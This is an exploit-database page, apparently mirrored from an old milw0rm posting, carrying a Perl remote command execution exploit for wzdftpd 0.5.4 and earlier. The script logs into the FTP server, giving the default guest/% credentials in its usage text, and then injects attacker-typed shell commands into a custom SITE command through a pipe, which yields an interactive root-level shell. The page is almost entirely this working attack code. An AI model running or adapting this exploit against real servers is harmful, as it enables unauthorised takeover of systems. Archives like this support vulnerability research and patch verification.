Lucene search
K

WzdFTPD <= 0.5.4 - Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

WzdFTPD Remote Command Execution Exploit August 200

Code

                                                ######################################################
# 0day0day0day0day0day0day0day
# -------------------------------
# wzdftpd remote exploit by kcope
# nice call to popen(3) on custom 
# site commands...
#
# August 2005
# confidential! keep private!
# -------------------------------
# 0day0day0day0day0day0day0day
#
#                    .___ _____  __             .___
#__  _  __________ __| _// ____\/  |_______   __| _/
#\ \/ \/ /\___   // __ |\   __\\   __\____ \ / __ | 
# \     /  /    // /_/ | |  |   |  | |  |_&#62; &#62; /_/ | 
#  \/\_/  /_____ \____ | |__|   |__| |   __/\____ | 
#               \/    \/             |__|        \/ 
#                                      
#__  _  _______ _______   ____ ________
#\ \/ \/ /\__  \\_  __ \_/ __ \\___   /
# \     /  / __ \|  | \/\  ___/ /    / 
#  \/\_/  (____  /__|    \___  &#62;_____ \
#              \/            \/      \/ VER1
######################################################

use Net::FTP;

sub usage {
	print &#34;usage: wzdftpdwarez.pl remote_host remote_port user pass custom_site_command\n&#34;
	     .&#34;default guest account for wzdftpd is username/password: guest/%\n&#34;;
}

print &#34;
wzdftpd remote exploit by kcope
August 2005
confidential! keep private!

&#34;;

if ($#ARGV &#60; 4) {
	usage();
	exit();	 
}

$host = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
$sitecmd = $ARGV[4];

$ftp = Net::FTP-&#62;new(Host =&#62; $host, Port =&#62; $port, Debug =&#62; 0)
     or die &#34;Cannot connect to $host: $@&#34;;

$ftp-&#62;login($user, $pass)
     or die &#34;Cannot login &#34;, $ftp-&#62;message;
     
print &#34;Now you can type commands, hopefully as r00t!\n&#34;;
while(1) {
	print &#34;!\$%&#&#62;&#34;;
	$cmd=&#60;stdin&#62;;
	$ftp-&#62;site($sitecmd, &#34;|$cmd;&#34;);
	print $ftp-&#62;message();
}

# milw0rm.com [2005-09-24]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation